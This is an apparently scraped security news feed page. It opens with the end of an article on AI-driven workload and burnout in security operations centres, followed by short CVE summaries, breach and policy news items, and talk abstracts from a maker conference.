<p class="wp-block-paragraph">Organizations with mature patching, prioritization, escalation, and response processes may struggle but adapt. Organizations that have treated security operations as a bare-minimum compliance function may find themselves overwhelmed.</p>



<p class="wp-block-paragraph">For CISOs, Crowley says, that means treating “patch now” less as an occasional emergency state and <a href="https://www.csoonline.com/article/4196435/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management.html">more as a permanent operating posture</a>. As AI accelerates vulnerability discovery, the distinction between routine maintenance and crisis response may continue to blur.</p>



<p class="wp-block-paragraph">He compares the situation to disaster recovery planning. Organizations that wait until a crisis arrives to establish staffing plans, escalation paths, and remediation processes may discover there is not enough help available.</p>



<h2 class="wp-block-heading">Cognitive overload may become the defining challenge</h2>



<p class="wp-block-paragraph">While vulnerability discovery receives much of the attention, Montenegro believes security leaders need a broader framework for understanding AI’s impact.</p>



<p class="wp-block-paragraph">Organizations should think about AI through three lenses, he says: security for AI, AI for security, and security from AI. The first involves protecting AI systems. The second involves using AI to improve defensive operations. The third asks what happens when adversaries use AI against the organization.</p>



<p class="wp-block-paragraph">For SOCs, all three categories are beginning to overlap.</p>



<p class="wp-block-paragraph">As AI makes it easier to create reports, assessments, vulnerability submissions, and other operational artifacts, humans remain responsible for determining whether that information is accurate and useful.</p>



<p class="wp-block-paragraph">“It becomes much easier to generate content,” Montenegro says, “but if you’re going to review that content as a human, the onus on you now is that much larger.”</p>



<p class="wp-block-paragraph">The result is a new form of cognitive overload. Security professionals may spend increasing amounts of time evaluating machine-generated information instead of conducting higher-value security work.</p>



<p class="wp-block-paragraph">Organizations can increasingly use AI to summarize reports, evaluate alerts, and assist with investigations, but humans remain responsible for validating the results.</p>



<p class="wp-block-paragraph">“We’re not at the stage yet where people are comfortable” handing off critical decisions entirely to AI, he says.</p>



<p class="wp-block-paragraph">That leaves defenders caught between two competing realities: AI is creating more information to process, but AI is also becoming one of the few viable tools for managing that growing workload.</p>



<p class="wp-block-paragraph">For Montenegro, the principle should be to automate tasks, not roles. AI can absorb repetitive investigative steps, but organizations should be cautious about removing humans from the process entirely.</p>



<p class="wp-block-paragraph">The risk, he says, is that if organizations hide too much complexity behind automated outputs, analysts may lose opportunities to develop the domain knowledge needed to advance.</p>



<p class="wp-block-paragraph">“How is that professional who is reacting to those alerts growing as a professional?” he says.</p>



<h2 class="wp-block-heading">The gap between mature and struggling SOCs may widen</h2>



<p class="wp-block-paragraph">Not every organization will experience the impact of AI in the same way.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/johnlhubbard/">John Hubbard</a>, senior cybersecurity consultant and SANS instructor, believes the industry’s response will largely depend on how well organizations have prepared for operational stress before AI arrives at scale.</p>



<p class="wp-block-paragraph">“I would roughly break security operations teams into two camps,” Hubbard tells CSO. “There are the ones that are definitely struggling, are already overwhelmed. And then some are doing really well.”</p>



<p class="wp-block-paragraph">The struggling organizations tend to be understaffed, underfunded, undertrained, or dependent on ad hoc processes. Every incident feels different, forcing teams to improvise under pressure.</p>



<p class="wp-block-paragraph">“Getting hit with something like this can certainly be an accelerant for burnout if they weren’t already experiencing it,” Hubbard says.</p>



<p class="wp-block-paragraph">By contrast, mature security teams have already invested in processes, training, exercises, and automation. “The teams that are doing a really solid job now are probably not super overwhelmed because they’ve developed the processes and procedures to be ready for this kind of thing,” Hubbard says.</p>



<p class="wp-block-paragraph">He compares successful SOCs to fire departments. Firefighters cannot predict exactly where the next emergency will occur, but they know how to respond because they have rehearsed those responses repeatedly.</p>



<p class="wp-block-paragraph">“The teams that kind of can react like a fire department are the ones that are getting it right,” he says.</p>



<p class="wp-block-paragraph">Those organizations <a href="https://www.csoonline.com/article/570871/tabletop-exercises-explained-definition-examples-and-objectives.html">conduct tabletop exercises</a>, adversary emulation exercises, <a href="https://www.csoonline.com/article/571891/red-vs-blue-vs-purple-teams-how-to-run-an-effective-exercise.html">red-team assessments</a>, and <a href="https://www.csoonline.com/article/3829684/how-to-create-an-effective-incident-response-plan.html">incident response</a> drills. As a result, they can absorb additional workload without descending into panic.</p>



<h2 class="wp-block-heading">Burnout remains the industry’s most difficult problem</h2>



<p class="wp-block-paragraph">Despite widespread concern about AI-enabled attacks, none of the experts view AI solely as a threat. Several argue that AI will become essential for helping defenders cope with the challenges it creates.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/jose-marie-griffiths-9106b7b/">Jose-Marie Griffiths</a>, president emerita and former CIO of Dakota State University, believes AI can help security teams sift through overwhelming volumes of information and identify the signals that matter most.</p>



<p class="wp-block-paragraph">“People who work in SOCs are now seeing overwhelming volumes of data, and they’re getting fatigued,” Griffiths tells CSO.</p>



<p class="wp-block-paragraph">AI can help automate portions of analysis, validate alerts, and improve visibility into complex environments. But Griffiths cautions that some AI-assisted vulnerability discovery tools are also producing large numbers of false positives.</p>



<p class="wp-block-paragraph">That matters because false positives do not eliminate work. They create it. As organizations confront escalating volumes of findings, distinguishing genuine risk from erroneous results may become as important as discovering vulnerabilities in the first place.</p>



<p class="wp-block-paragraph">The experts agree that technology alone will not determine outcomes. People will.</p>



<p class="wp-block-paragraph">Crowley argues that cybersecurity professionals must recognize that uncertainty is intrinsic to the profession. “We are the group that deals with uncertainty,” he says. “That’s really and truly what cybersecurity is.”</p>



<p class="wp-block-paragraph">That reality places responsibility on both individuals and organizations. Analysts need mechanisms for managing stress. Teams need to recognize when colleagues are approaching their limits. Managers need to <a href="https://www.csoonline.com/article/3631614/cybersecurity-is-tough-4-steps-leaders-can-take-now-to-reduce-team-burnout.html">establish healthy escalation practices and realistic expectations</a>.</p>



<p class="wp-block-paragraph">Hubbard rejects the notion that burnout is inevitable.</p>



<p class="wp-block-paragraph">“It is not a foregone conclusion that security operations jobs have to be a painful grind that everyone hates,” he says.</p>



<p class="wp-block-paragraph">He has seen organizations where employees remain engaged for years because leaders actively manage workload, create supportive cultures, and encourage open communication.</p>



<p class="wp-block-paragraph">That includes making it safe for analysts to admit when they have reached their limits. “If people are unwilling to say, ‘I’m maxed out right now, and I’m going crazy,’ that’s going to be the thing that breaks a lot of teams,” Hubbard says.</p>



<p class="wp-block-paragraph">Pay alone may not solve the problem. Crowley pointed to SANS/SOC <a href="https://www.sans.org/white-papers/2026-sans-soc-survey-insights-decade-evolution-cyber-defense">survey findings</a> showing that compensation ranked fourth among retention factors, behind meaningful work, training, and professional development.</p>



<h2 class="wp-block-heading">The future SOC may look very different</h2>



<p class="wp-block-paragraph">Griffiths believes organizations will need to respond not only with better technology but with structural changes. Traditional tiered SOC models may need to evolve into more collaborative teams with diverse expertise working together in real-time.</p>



<p class="wp-block-paragraph">“I think we’re going to have to eliminate the hierarchies a little bit and have teams of people with different expertise working together,” she says.</p>



<p class="wp-block-paragraph">She also argues that organizations should invest in human expertise rather than simply increasing AI consumption. “Buy engineers, not tokens,” she says.</p>



<p class="wp-block-paragraph">Professional networks and peer support will matter as much as any tool, Griffiths says, because defenders need trusted communities where they can compare notes, share practices, and avoid facing sustained pressure in isolation.</p>



<p class="wp-block-paragraph">If there is a consensus emerging among experts, it is that AI is exposing weaknesses that already existed.</p>



<p class="wp-block-paragraph">The staffing shortages, alert fatigue, burnout, and process failures affecting SOCs did not begin with generative AI. AI is simply amplifying them.</p>



<p class="wp-block-paragraph">At the same time, AI is providing new tools that may help organizations manage those very challenges.</p>



<p class="wp-block-paragraph">The future SOC may spend less time manually triaging alerts and more time validating automated findings, conducting threat hunting, and making strategic decisions. Human expertise may increasingly be paired with AI systems that act as operational partners.</p>



<p class="wp-block-paragraph">The transition will not be painless. Some teams will struggle. Some practitioners may leave the field. Others will adapt and thrive.</p>



<p class="wp-block-paragraph">“In a way,” Griffiths says, “we’re turning the whole SOC inside out.”</p>



<p class="wp-block-paragraph">Montenegro sees the transition as a cybersecurity version of the Red Queen effect: defenders and attackers must keep running simply to stay in place.</p>



<p class="wp-block-paragraph">Borrowing from science-fiction author William Gibson, Montenegro offered perhaps the simplest description of the industry’s current moment: “The future is already here. It’s just unevenly distributed.”</p>



<p class="wp-block-paragraph">For security leaders, that future is arriving in the form of AI-generated vulnerabilities, AI-assisted investigations, and AI-enabled adversaries. The question is no longer whether security operations centers will change. It is whether organizations can adapt quickly enough to keep pace.</p>
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<title><![CDATA[CVE-2022-3741 | chatwoot Email Verification excessive authentication (EUVD-2022-43097)]]></title>
<description><![CDATA[A vulnerability categorized as problematic has been discovered in chatwoot. This impacts an unknown function of the component Email Verification Handler. The manipulation results in improper restriction of excessive authentication attempts.

This vulnerability is known as CVE-2022-3741. It is pos...]]></description>
<link>https://tsecurity.de/de/3679763/sicherheitsluecken/cve-2022-3741-chatwoot-email-verification-excessive-authentication-euvd-2022-43097/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679763/sicherheitsluecken/cve-2022-3741-chatwoot-email-verification-excessive-authentication-euvd-2022-43097/</guid>
<pubDate>Sun, 19 Jul 2026 18:29:45 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">problematic</a> has been discovered in <a href="https://vuldb.com/product/chatwoot">chatwoot</a>. This impacts an unknown function of the component <em>Email Verification Handler</em>. The manipulation results in improper restriction of excessive authentication attempts.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2022-3741">CVE-2022-3741</a>. It is possible to launch the attack remotely. No exploit is available.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[Are There Cybersecurity Risks in Over-the-Air Tech Used in Autos?]]></title>
<description><![CDATA[CNBC reports:


The automotive industry's increasing use of over-the-air technology to update vehicle systems makes it more susceptible to cyberattacks, analysts say, urging more intervention in the sector... Its use represents "a unique national security concern," Gabriel Lim, senior analyst at ...]]></description>
<link>https://tsecurity.de/de/3679418/it-security-nachrichten/are-there-cybersecurity-risks-in-over-the-air-tech-used-in-autos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679418/it-security-nachrichten/are-there-cybersecurity-risks-in-over-the-air-tech-used-in-autos/</guid>
<pubDate>Sun, 19 Jul 2026 13:52:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[CNBC reports:


The automotive industry's increasing use of over-the-air technology to update vehicle systems makes it more susceptible to cyberattacks, analysts say, urging more intervention in the sector... Its use represents "a unique national security concern," Gabriel Lim, senior analyst at the S. Rajaratnam School of International Studies in Singapore, told CNBC. "Aside from data privacy concerns, the potential of a foreign actor sabotaging the controls of a moving vehicle is a possibility that countries like Norway, Denmark, and Britain have expressed concerns about," Lim added. 

In May, the American Enterprise Institute warned that safeguarding the automotive sector was crucial to limit foreign governments' espionage capabilities. "To protect against foreign espionage threats, the US should consider additional security reviews, implement restrictions on certain foreign-made hardware and software in vehicles, and mandate increased data-collection disclosures," the report said. The concerns come as real-life tests reveal vulnerabilities. Late last year, Norwegian bus company Ruter conducted tests on two buses and found that one had potential risks linked to OTA technology. "There is access to the control system for battery and power supply via mobile network through a Romanian SIM card. In theory, therefore, this bus can be stopped or rendered inoperable by the manufacturer," the company said. The investigation by Ruter then sparked the U.K. and Denmark to conduct their own investigations... 

While these investigations were conducted on buses made by Chinese firm Yutong, [Siraj Ahmed Shaikh, systems security professor at the UK's Swansea University] said the issue goes beyond one manufacturer or country, as the technology becomes more pervasive. "Other sectors adopting OTA include other transport modes [such as] maritime and rail, aerospace (particularly drones), industrial machinery and robotics," he said.
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</div><p><a href="https://tech.slashdot.org/story/26/07/19/046258/are-there-cybersecurity-risks-in-over-the-air-tech-used-in-autos?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[CVE-2026-16129 | princezuda SafestClaw up to 4.2.4 Built-in Web Interface shell.py ShellAction._validate_command incomplete blacklist (Issue 59 / EUVD-2026-45390)]]></title>
<description><![CDATA[A vulnerability labeled as problematic has been found in princezuda SafestClaw up to 4.2.4. This vulnerability affects the function ShellAction._validate_command of the file src/safestclaw/actions/shell.py of the component Built-in Web Interface. Such manipulation leads to incomplete blacklist.

...]]></description>
<link>https://tsecurity.de/de/3679285/sicherheitsluecken/cve-2026-16129-princezuda-safestclaw-up-to-424-built-in-web-interface-shellpy-shellactionvalidatecommand-incomplete-blacklist-issue-59-euvd-2026-45390/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679285/sicherheitsluecken/cve-2026-16129-princezuda-safestclaw-up-to-424-built-in-web-interface-shellpy-shellactionvalidatecommand-incomplete-blacklist-issue-59-euvd-2026-45390/</guid>
<pubDate>Sun, 19 Jul 2026 12:09:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/princezuda:safestclaw">princezuda SafestClaw up to 4.2.4</a>. This vulnerability affects the function <code>ShellAction._validate_command</code> of the file <em>src/safestclaw/actions/shell.py</em> of the component <em>Built-in Web Interface</em>. Such manipulation leads to incomplete blacklist.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-16129">CVE-2026-16129</a>. An attack has to be approached locally. Furthermore, there is an exploit available.

The presence of this vulnerability remains uncertain at this time.

The project maintainer explains: "On paper you're correct, this is a vulnerability. In practice, nothing your AI generated shows how it makes users vulnerable. It's open source. Someone can mod the shell allow list or remove that system. Present an actual poc that shows a threat to users."]]></content:encoded>
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<title><![CDATA[From Principles to Practice: Actionable Blueprints for Ethical AI]]></title>
<description><![CDATA[Part 2 of this series on ethical AI looks at operationalizing trust with the clear prompting framework and robust data governance for your public- or private-sector organization.]]></description>
<link>https://tsecurity.de/de/3679238/ai-nachrichten/from-principles-to-practice-actionable-blueprints-for-ethical-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679238/ai-nachrichten/from-principles-to-practice-actionable-blueprints-for-ethical-ai/</guid>
<pubDate>Sun, 19 Jul 2026 11:32:14 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Part 2 of this series on ethical AI looks at operationalizing trust with the clear prompting framework and robust data governance for your public- or private-sector organization.]]></content:encoded>
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<title><![CDATA[How Microsoft's 'Little Workaround' Created a Major Threat to America's Defense Department]]></title>
<description><![CDATA[This week Slashdot reader joshuark found the story of exactly how in 2025 ProPublica reporter Renee Dudley confirmed Microsoft was running tech support for the U.S. Defense Department through China, America's biggest cybersecurity adversary — and how that investigation ultimately changed U.S. gov...]]></description>
<link>https://tsecurity.de/de/3678619/it-security-nachrichten/how-microsofts-little-workaround-created-a-major-threat-to-americas-defense-department/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678619/it-security-nachrichten/how-microsofts-little-workaround-created-a-major-threat-to-americas-defense-department/</guid>
<pubDate>Sun, 19 Jul 2026 01:35:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This week Slashdot reader joshuark found the story of exactly how in 2025 ProPublica reporter Renee Dudley confirmed Microsoft was running tech support for the U.S. Defense Department through China, America's biggest cybersecurity adversary — and how that investigation ultimately changed U.S. government policy. 

The reporter first found an ad offering $18 to $28 to hire Americans as "digital escorts" for China-based tech support, then just searched LinkedIn for people who apparently had answered the ad. They discovered that at the time "Behind the scenes, unseen by the users at the U.S. government, it's not just one person who responds," explains ProPublica's podcast. "It's two people... The China-based engineer is the one who knows how to fix the problem. On their end, they produce a block of code to solve it and send it over to the digital escort in the U.S. The digital escort then just copy-pastes it... All of this so that they can follow the government's rule: that you have to be a U.S. citizen or permanent resident to handle sensitive data." 


But amazingly to confirm it, ProPublica's researcher just had to input "Microsoft" and "escort" into the U.S. Patent Office search bar, and actually found patents related to digital escorts — along with names of the current and former Microsoft employees listed as inventors. Had the government signed off on the practice? "I could see what Microsoft actually told the government," the reporter says on the podcast, "And there was no mention of foreign engineers being used, and definitely no mention of China." 

ProPublic's story was published on a Tuesday, according to the podcast, and by Friday "Microsoft said it had stopped using China-based engineers to support Defense Department cloud systems." And America's Defense Department "also opened up an investigation, looking into whether any of Microsoft's China-based engineers had compromised the government's national security.<p></p><div class="share_submission">
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</div><p><a href="https://yro.slashdot.org/story/26/07/18/0513229/how-microsofts-little-workaround-created-a-major-threat-to-americas-defense-department?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<item>
<title><![CDATA[Take Better Pictures with SCIENCE! (emf2026)]]></title>
<description><![CDATA[They say that the best camera is the one you have with you, and while anyone can point and shoot a cell phone at something and walk away with a decent snapshot, to make a good image, a little knowledge of math and physics goes a long way. The problem is, words like "math" and "physics" can be jus...]]></description>
<link>https://tsecurity.de/de/3678052/it-security-video/take-better-pictures-with-science-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678052/it-security-video/take-better-pictures-with-science-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 15:19:50 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[They say that the best camera is the one you have with you, and while anyone can point and shoot a cell phone at something and walk away with a decent snapshot, to make a good image, a little knowledge of math and physics goes a long way. The problem is, words like &quot;math&quot; and &quot;physics&quot; can be just as intimidating to a creative as &quot;art&quot; is to someone with a more analytic approach to the world. Combine that with a discipline full of old white dudes who gatekeep photography by talking about megapixels and fast glass, and many people put down the idea of creating great photos and just settle for good enough images. But photography is for everyone! It is the marriage of art and science! In my talk, I'll briefly discuss how a camera sensor works and what the exposure triangle (aka &quot;The Triangle of Doom&quot;) is, and then we'll get into the practical tips for using the science of light and a bit of art theory pulled from math (golden ratio, anyone?) to create kick ass images with any smart phone, point-and-shoot camera, smart glasses, or toy camera.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/90-take-better-pictures-with-science]]></content:encoded>
</item>
<item>
<title><![CDATA[What does a quantum computer actually do? (emf2026)]]></title>
<description><![CDATA[Inside a trapped-ion quantum computer, what really happens when you run a program?

This talk follows a single calculation end-to-end. From ions being loaded and cooled in a trap, through a sequence of laser pulses that implement quantum gates, to the final measurement that produces a result. Alo...]]></description>
<link>https://tsecurity.de/de/3678023/it-security-video/what-does-a-quantum-computer-actually-do-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678023/it-security-video/what-does-a-quantum-computer-actually-do-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 15:03:09 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Inside a trapped-ion quantum computer, what really happens when you run a program?

This talk follows a single calculation end-to-end. From ions being loaded and cooled in a trap, through a sequence of laser pulses that implement quantum gates, to the final measurement that produces a result. Along the way, we’ll unpack how qubits are physically realised in atomic states, and how carefully controlled interactions between light and atoms are used to answer the question we asked.

Rather than treating the system as a black box or leaning on analogies, we’ll connect each step directly to what is happening in the hardware. The aim is to demystify the stack and build a concrete picture of how a trapped-ion quantum computer actually runs a calculation in practice.

This talk grew out of my own attempt to understand the physics after joining a quantum computing startup as an electronic engineer with limited prior exposure to the field. It’s an effort to turn a vague, abstract topic into something tangible, by walking through it from beginning to end.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/42-what-does-a-quantum-computer-actually-do]]></content:encoded>
</item>
<item>
<title><![CDATA[Take Better Pictures with SCIENCE! (emf2026)]]></title>
<description><![CDATA[They say that the best camera is the one you have with you, and while anyone can point and shoot a cell phone at something and walk away with a decent snapshot, to make a good image, a little knowledge of math and physics goes a long way. The problem is, words like "math" and "physics" can be jus...]]></description>
<link>https://tsecurity.de/de/3677976/it-security-video/take-better-pictures-with-science-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677976/it-security-video/take-better-pictures-with-science-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 14:17:54 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[They say that the best camera is the one you have with you, and while anyone can point and shoot a cell phone at something and walk away with a decent snapshot, to make a good image, a little knowledge of math and physics goes a long way. The problem is, words like &quot;math&quot; and &quot;physics&quot; can be just as intimidating to a creative as &quot;art&quot; is to someone with a more analytic approach to the world. Combine that with a discipline full of old white dudes who gatekeep photography by talking about megapixels and fast glass, and many people put down the idea of creating great photos and just settle for good enough images. But photography is for everyone! It is the marriage of art and science! In my talk, I'll briefly discuss how a camera sensor works and what the exposure triangle (aka &quot;The Triangle of Doom&quot;) is, and then we'll get into the practical tips for using the science of light and a bit of art theory pulled from math (golden ratio, anyone?) to create kick ass images with any smart phone, point-and-shoot camera, smart glasses, or toy camera.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/90-take-better-pictures-with-science]]></content:encoded>
</item>
<item>
<title><![CDATA[What does a quantum computer actually do? (emf2026)]]></title>
<description><![CDATA[Inside a trapped-ion quantum computer, what really happens when you run a program?

This talk follows a single calculation end-to-end. From ions being loaded and cooled in a trap, through a sequence of laser pulses that implement quantum gates, to the final measurement that produces a result. Alo...]]></description>
<link>https://tsecurity.de/de/3677947/it-security-video/what-does-a-quantum-computer-actually-do-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677947/it-security-video/what-does-a-quantum-computer-actually-do-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 14:03:26 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Inside a trapped-ion quantum computer, what really happens when you run a program?

This talk follows a single calculation end-to-end. From ions being loaded and cooled in a trap, through a sequence of laser pulses that implement quantum gates, to the final measurement that produces a result. Along the way, we’ll unpack how qubits are physically realised in atomic states, and how carefully controlled interactions between light and atoms are used to answer the question we asked.

Rather than treating the system as a black box or leaning on analogies, we’ll connect each step directly to what is happening in the hardware. The aim is to demystify the stack and build a concrete picture of how a trapped-ion quantum computer actually runs a calculation in practice.

This talk grew out of my own attempt to understand the physics after joining a quantum computing startup as an electronic engineer with limited prior exposure to the field. It’s an effort to turn a vague, abstract topic into something tangible, by walking through it from beginning to end.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/42-what-does-a-quantum-computer-actually-do]]></content:encoded>
</item>
<item>
<title><![CDATA[EY Data Breach – Hackers Access Third-Party IT Support Platform and Steal Client Tax Documents]]></title>
<description><![CDATA[Ernst & Young LLP (EY) has confirmed a data security incident in which an unauthorized third party breached a third-party IT service management platform used by its tax practice, exfiltrating documents containing client personal and financial information. The Big Four…
Read more →
The post EY Dat...]]></description>
<link>https://tsecurity.de/de/3677728/it-security-nachrichten/ey-data-breach-hackers-access-third-party-it-support-platform-and-steal-client-tax-documents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677728/it-security-nachrichten/ey-data-breach-hackers-access-third-party-it-support-platform-and-steal-client-tax-documents/</guid>
<pubDate>Sat, 18 Jul 2026 10:54:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Ernst &amp; Young LLP (EY) has confirmed a data security incident in which an unauthorized third party breached a third-party IT service management platform used by its tax practice, exfiltrating documents containing client personal and financial information. The Big Four…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/ey-data-breach-hackers-access-third-party-it-support-platform-and-steal-client-tax-documents/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/ey-data-breach-hackers-access-third-party-it-support-platform-and-steal-client-tax-documents/">EY Data Breach – Hackers Access Third-Party IT Support Platform and Steal Client Tax Documents</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[EY Data Breach – Hackers Access Third-Party IT Support Platform and Steal Client Tax Documents]]></title>
<description><![CDATA[Ernst & Young LLP (EY) has confirmed a data security incident in which an unauthorized third party breached a third-party IT service management platform used by its tax practice, exfiltrating documents containing client personal and financial information. The Big Four firm filed formal breach not...]]></description>
<link>https://tsecurity.de/de/3677701/it-security-nachrichten/ey-data-breach-hackers-access-third-party-it-support-platform-and-steal-client-tax-documents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677701/it-security-nachrichten/ey-data-breach-hackers-access-third-party-it-support-platform-and-steal-client-tax-documents/</guid>
<pubDate>Sat, 18 Jul 2026 10:38:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Ernst &amp; Young LLP (EY) has confirmed a data security incident in which an unauthorized third party breached a third-party IT service management platform used by its tax practice, exfiltrating documents containing client personal and financial information. The Big Four firm filed formal breach notifications with the California Attorney General’s office on July 15, 2026, […]</p>
<p>The post <a href="https://gbhackers.com/ey-data-breach-third-party-it-support-tax-documents/">EY Data Breach – Hackers Access Third-Party IT Support Platform and Steal Client Tax Documents</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[CVE-2022-3636 | Linux Kernel Ethernet mtk_ppe.c __mtk_ppe_check_skb use after free (EUVD-2022-42996 / Nessus ID 246893)]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, was found in Linux Kernel. This affects the function __mtk_ppe_check_skb of the file drivers/net/ethernet/mediatek/mtk_ppe.c of the component Ethernet Handler. Such manipulation leads to use after free.

This vulnerability is traded as CVE-2022-3...]]></description>
<link>https://tsecurity.de/de/3677290/sicherheitsluecken/cve-2022-3636-linux-kernel-ethernet-mtkppec-mtkppecheckskb-use-after-free-euvd-2022-42996-nessus-id-246893/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677290/sicherheitsluecken/cve-2022-3636-linux-kernel-ethernet-mtkppec-mtkppecheckskb-use-after-free-euvd-2022-42996-nessus-id-246893/</guid>
<pubDate>Sat, 18 Jul 2026 03:09:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, was found in <a href="https://vuldb.com/product/linux:kernel">Linux Kernel</a>. This affects the function <code>__mtk_ppe_check_skb</code> of the file <em>drivers/net/ethernet/mediatek/mtk_ppe.c</em> of the component <em>Ethernet Handler</em>. Such manipulation leads to use after free.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2022-3636">CVE-2022-3636</a>. Access to the local network is required for this attack to succeed. There is no exploit available.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[CVE-2022-3620 | Exim DMARC dmarc.c dmarc_dns_lookup use after free (EUVD-2022-42980 / Nessus ID 211164)]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in Exim. This vulnerability affects the function dmarc_dns_lookup of the file dmarc.c of the component DMARC Handler. Executing a manipulation can lead to use after free.

This vulnerability appears as CVE-2022-3620. The attack may be performed ...]]></description>
<link>https://tsecurity.de/de/3677214/sicherheitsluecken/cve-2022-3620-exim-dmarc-dmarcc-dmarcdnslookup-use-after-free-euvd-2022-42980-nessus-id-211164/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677214/sicherheitsluecken/cve-2022-3620-exim-dmarc-dmarcc-dmarcdnslookup-use-after-free-euvd-2022-42980-nessus-id-211164/</guid>
<pubDate>Sat, 18 Jul 2026 01:09:49 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/exim">Exim</a>. This vulnerability affects the function <code>dmarc_dns_lookup</code> of the file <em>dmarc.c</em> of the component <em>DMARC Handler</em>. Executing a manipulation can lead to use after free.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2022-3620">CVE-2022-3620</a>. The attack may be performed from remote. There is no available exploit.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[CVE-2022-3627 | LibTIFF 4.4.0 TIFF File libtiff/tif_unix.c _TIFFmemcpy out-of-bounds write (ID 411 / EUVD-2022-42987)]]></title>
<description><![CDATA[A vulnerability was found in LibTIFF 4.4.0. It has been declared as critical. The impacted element is the function _TIFFmemcpy of the file libtiff/tif_unix.c of the component TIFF File Handler. Executing a manipulation can lead to out-of-bounds write.

This vulnerability is handled as CVE-2022-36...]]></description>
<link>https://tsecurity.de/de/3677210/sicherheitsluecken/cve-2022-3627-libtiff-440-tiff-file-libtifftifunixc-tiffmemcpy-out-of-bounds-write-id-411-euvd-2022-42987/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677210/sicherheitsluecken/cve-2022-3627-libtiff-440-tiff-file-libtifftifunixc-tiffmemcpy-out-of-bounds-write-id-411-euvd-2022-42987/</guid>
<pubDate>Sat, 18 Jul 2026 01:09:44 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
